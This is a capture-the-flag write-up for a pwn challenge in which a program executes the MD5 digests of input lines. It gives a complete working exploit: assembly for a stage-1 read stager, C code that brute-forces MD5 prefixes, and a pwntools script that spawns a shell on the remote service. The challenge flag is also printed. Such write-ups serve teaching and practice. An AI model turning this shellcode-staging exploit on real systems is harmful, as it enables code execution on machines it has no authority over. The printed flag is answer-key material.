arrow_backUS Cyber Games 2026
Pwnhard

MD5

by Pavel Knespl (capyplivl)

"Story Writer 9000" reads input line by line, MD5-hashes each line, concatenates the raw 16-byte digests onto an RWX page, and calls it. Each line therefore contributes exactly 16 bytes of executed code, so you brute-force a preimage per 16-byte slot to assemble shellcode.

Solve

  1. Reverse main: it reads until a blank line, mmaps a PROT_READ|WRITE|EXEC page, writes MD5(line) into 16-byte slots, then jumps to the page with rax = page base.
  2. Per-slot trick: brute-forcing a full 16-byte digest is infeasible, so only pin [instruction bytes][EB disp] and let the short jump skip the unbruteable junk to the next 16-byte boundary. Pin 3 bytes (2^24) after a 1-byte op, 4 bytes (2^32) after a 2-byte op. Instructions cannot straddle slots, so only 1-2 byte ops are usable.
  3. A direct execve needs a 10-byte movabs (one slot, 2^96), so stage 1 is built from short ops that read() real shellcode onto the same page, then jumps to it. Note: keep the read length small (push 0x40; pop rdx); an oversized length fails the kernel range check and returns -EFAULT with nothing written.
push rax
pop  rsi
push 0x40
pop  rdx
xor  eax,eax
push rax
pop  rdi
syscall
jmp  rsi
  1. crack.c finds an 11-char printable line whose MD5 starts with each pinned prefix:
static const char *CS="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%";
void *worker(void *p){
    int id=((targ*)p)->id; char buf[16]; uint8_t out[16];
    for(uint64_t ctr=id; !FOUND; ctr+=NTH){
        uint64_t v=ctr; for(int i=0;i<11;i++){buf[i]=CS[v%65]; v/=65;}
        md5_small((uint8_t*)buf,11,out);
        if(!memcmp(out,PREFIX,PLEN) && __sync_bool_compare_and_swap(&FOUND,0,1)){
            memcpy(RESULT,buf,11); RESULT[11]=0; return 0;
        }
    }
    return 0;
}
  1. solve.py assembles the two-stage payload and runs it against the live instance:
import subprocess, hashlib, json
from pwn import *
context.arch = 'amd64'
BR = "./crack"; cache = json.load(open("lines.json"))

blocks = [
    (b"\x50",     0x0d),
    (b"\x5e",     0x0d),
    (b"\x6a\x40", 0x0c),
    (b"\x5a",     0x0d),
    (b"\x31\xc0", 0x0c),
    (b"\x50",     0x0d),
    (b"\x5f",     0x0d),
    (b"\x0f\x05", 0x0c),
    (b"\xff\xe6", 0x0c),
]

def brute(pfx):
    h = pfx.hex()
    if h not in cache:
        cache[h] = subprocess.check_output([BR, h, "14"]).decode().strip()
        json.dump(cache, open("lines.json", "w"))
    assert hashlib.md5(cache[h].encode()).digest()[:len(pfx)] == pfx
    return cache[h]

lines  = [brute(instr + b"\xeb" + bytes([disp])) for instr, disp in blocks]
stage1 = ("\n".join(lines) + "\n\n").encode()
stage2 = asm(shellcraft.amd64.linux.sh())

io = remote(HOST, PORT)
io.send(stage1)
io.recvuntil(b"interesting your story is!")
io.send(stage2)
io.sendline(b"cat /flag.txt")
io.interactive()

Flag: SVIUSCG{433b5688da307b0baa5588df6b578586}